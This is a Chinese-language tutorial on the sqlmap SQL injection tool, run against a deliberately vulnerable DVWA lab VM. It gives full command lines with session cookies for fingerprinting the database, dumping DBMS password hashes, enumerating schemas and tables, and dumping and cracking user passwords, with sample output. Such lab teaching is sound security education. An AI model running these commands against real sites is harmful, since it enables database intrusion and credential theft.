SQL注入工具SQLmap入門

jopen 10年前發布 | 40K 次閱讀 安全相關 SqlMap

用戶手冊:

http://drops.wooyun.org/tips/143
http://drops.wooyun.org/tips/401

什么是SQLmap?

SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。

讀者可以通過位于SourceForge的官方網站下載SQLmap源碼:http://sourceforge.net/projects/sqlmap/

SQLmap的作者是誰?

Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過bernardo@sqlmap.org與他取得聯系,以及Miroslav Stampar (@stamparm)讀者可以通過miroslav@sqlmap.org與他聯系。

同時讀者也可以通過dev@sqlmap.org與SQLmap的所有開發者聯系。

執行SQLmap的命令是什么?

進入sqlmap.py所在的目錄,執行以下命令:

#python sqlmap.py -h

(譯注:選項列表太長了,而且與最新版本有些差異,所以這里不再列出,請讀者下載最新版在自己機器上看吧)

SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。

如何使用SQLmap:

為方便演示,我們創建兩個虛擬機:

1、受害者機器, windows     XP操作系統,運行一個web服務器,同時跑著一個包含漏洞的web應用(DVWA)。

2、攻擊器機器,使用Ubuntu     12.04,包含SQLmap程序。

本次實驗的目的:使用SQLmap得到以下信息:

3、枚舉MYSQL用戶名與密碼。

4、枚舉所有數據庫。

5、枚舉指定數據庫的數據表。

6、枚舉指定數據表中的所有用戶名與密碼。

使用SQLmap之前我們得到需要當前會話cookies等信息,用來在滲透過程中維持連接狀態,這里使用Firefox中名為“TamperData”的add-on獲取。

SQL注入工具SQLmap入門

當前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。

為方便演示,我們將DVWA安全等級設置為low:

SQL注入工具SQLmap入門

接下來我們進入頁面的“SQL Injection”部分,輸入任意值并提交。可以看到get請求的ID參數如下:

“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

因此該頁面就是我們的目標頁面。

以下命令可以用來檢索當前數據庫和當前用戶:

“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” 
–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”

使用選項:

1、–cookie : 設置我們的cookie值“將DVWA安全等級從high設置為low”

2、-u : 指定目標URL

3、-b : 獲取DBMS banner

4、–current-db : 獲取當前數據庫

5、–current-user:獲取當前用戶

結果如下:

SQL注入工具SQLmap入門

可以看到結果如下:

DBMS : MySQLversion 5.0
OS versionUbuntu 12.04
current user:root
current db :DVWA

以下命令用來枚舉所有的DBMS用戶和密碼hash,在以后更進一步的攻擊中可以對密碼hash進行破解:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” 
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”

使用選項:

1、–string : 當查詢可用時用來匹配頁面中的字符串

2、–users : 枚舉DBMS用戶

3、–password : 枚舉DBMS用戶密碼hash

SQL注入工具SQLmap入門

結果如下:

databasemanagement system users [142]:
[*] ”@’kingasmk’
[*]”@’localhost’
[*]‘debian-sys-maint’@'localhost’
[*]‘phpmyadmin’@'localhost’
[*]‘root’@’127.0.0.1′
[*] ‘root’@'::1′
[*]‘root’@'kingasmk’
[*]‘root’@'localhost’

數據庫管理系統用戶和密碼hash:

[*]debian-sys-maint [1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] phpmyadmin[1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] root [4]:
password hash: *C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會枚舉系統中所有的數據庫schema:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”

使用選項:

  • –dbs: 枚舉DBMS中的數據庫

SQL注入工具SQLmap入門

結果如下:

availabledatabases [5]:
[*]dvwa
[*]information_schema
[*]mysql
[*]performance_schema
[*]phpmyadmin

下面我們嘗試枚舉DVWA數據表,執行以下命令:

“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” 
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”

使用選項:

1、-D : 要枚舉的DBMS數據庫

2、–tables     : 枚舉DBMS數據庫中的數據表

SQL注入工具SQLmap入門

得到結果如下:

Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+

下面獲取用戶表的列,命令如下:

 “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” 
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”

使用選項:

  • -T : 要枚舉的DBMS數據庫表

  • –columns : 枚舉DBMS數據庫表中的所有列

SQL注入工具SQLmap入門

結果如下:

Database: dvwa
Table: users
[6 columns]
+————+————-+
| Column | Type|
+————+————-+
| avatar |varchar(70) |
| first_name |varchar(15) |
| last_name |varchar(15) |
| password |varchar(32) |
| user |varchar(15) |
| user_id |int(6) |
+————+————-+

如上所示,以上為我們感興趣的列,表示用戶名與密碼等。下面將每一列的內容提取出來。執行以下命令,將用戶與密碼表中的所有用戶名與密碼dump出來:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”
–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”

使用選項:

  • -T : 要枚舉的DBMS數據表

  • -C: 要枚舉的DBMS數據表中的列

  • –dump : 轉儲DBMS數據表項

SQLmap會提問是否破解密碼,按回車確認:

SQL注入工具SQLmap入門

得到所有用戶名與明文密碼如下:

Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+

這時我們就可以利用admin帳戶登錄做任何事了。

總結:

SQLmap是一個非常強大的工具,可以用來簡化操作,并自動處理SQL注入檢測與利用。

[via infosecinstitute]

________________________________________________________________________

DVWA: http://www.dvwa.co.uk/  (源碼在github上)

其中幾個測試示例:

 
python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -b --current-db --current-user

python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" --string="Surname" --users --password

python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -D dvwa --tables

python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -D dvwa -T users --columns

python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -D dvwa -T users-C user,password --dump
________________________________________________________________________

來自:http://www.freebuf.com/articles/web/29942.html

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!